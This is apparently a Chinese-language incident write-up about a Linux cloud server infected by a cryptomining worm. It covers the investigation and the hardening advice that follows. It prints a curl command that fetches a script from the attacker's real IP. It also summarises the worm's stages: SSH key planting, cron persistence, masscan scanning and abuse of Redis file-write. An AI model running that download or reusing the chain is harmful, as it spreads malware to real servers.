服务器感染挖矿病毒对外恶意传播的处理

问题来源:网络上分享的技术文档: https://bbs.pediy.com/thread-225163.htm问题现象及影响范围影响范围:一台linux腾讯云服务器问题现象:腾讯云服务器因对外恶意发包,被云服务提供商封堵22端口,导致无法ssh;通过修改ssh端口号,登录后top发现,有2个占用cpu 99%的同名进程在运行,叫gpg-agentd
问题分析及过程:通过google搜索发现,GPG提供的gpg-agent提供了对SSH协议的支持,这个功能可以大大简化密钥的管理工作。但是我们发现的异常进程是gpg-agentd,多了一个字母d,属于伪装程序。根据gpg-agentd的进程pid:23374,通过ps命令查看进程启动路径、通过netstat查看网络状况。进入进程启动路径,找到了黑客留下的二进制可执行文件。通过使用反汇编工具IDA分析gpg-agentd,用string搜索bitcoin, eth, mine等相关单词(由于cpu占用过高,怀疑与挖矿进程有关)。最终发现有nicehash.com的网址,打开网址确实与挖矿相关。为了进一步确认被入侵的原因,以及病毒的运行机制,首先怀疑被入侵可能是暴力破解root账号导致的,通过lastb查看发现有大量密码尝试记录,确实为暴力破解。查看history发现记录已被清空,查看messages日志发现安装了一些不明软件。一般恶意程序定时或随机执行程序,所以查看计划任务crontab -e,发现每15分钟去服务器上下载一个脚本,并且执行这个脚本。通过curl命令下载脚本curl -fsSL 159.89.190.243/ash.php ash.sh,查看脚本内容,大致分析一下该脚本的主要用途:(a)首先是关闭SELinux(b)解除shell资源访问限制然后在/root/.ssh/authorized_keys文件中生成ssh公钥,这样每次黑客登录这台服务器就可以免密码登录。接下来安装bash,最后是继续下载第二个脚本bsh.php,并且执行。通过curl命令继续下载并分析第二个脚本bsh.php,大致分析一下该脚本的主要用途:1)下载远程代码到本地,添加执行权限,chmod u+x。2)修改rc.local,让本地代码开机自动执行。3)下载github上的开源扫描器代码,并安装相关的依赖软件,也就是上面的messages里看到的记录。通过查看到github上查看这个开源代码,发现每秒发送1000万个数据包,比nmap速度还要快,所以才会被发现恶意对外发包。4)下载第三个脚本,并且执行。通过curl命令继续下载并分析第三个脚本rsh.php,大致分析一下该脚本的主要用途:对redis进行配置,利用redis把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆。登录之后就开始定期执行计划任务,下载脚本。开始利用masscan进行全网扫描redis服务器,寻找肉鸡,注意看这6379就是redis服务器的默认端口,如果你的redis的监听端口是公网IP或是0.0.0.0,并且没有密码保护,就会被当作肉鸡。总结分析三个脚本的用途,先是通过写入ssh public key 拿到登录权限,然后下载执行远程二进制文件,最后再通过redis漏洞复制,迅速在全网传播,以指数级速度增长。
后续处理措施、方案及计划建议:
一、服务器
1,禁用ROOT 2,用户名和密码尽量复杂 3,修改ssh的默认22端口 4,安装DenyHosts防暴力破解软件 5,禁用密码登录,使用RSA公钥登录6,具体可参考《linux腾讯云服务器安全防护方案 》加强腾讯云服务器防护
二、redis 1,禁用公网IP监听,包括0.0.0.0 2,使用密码限制访问redis 3,使用较低权限帐号运行redis

标签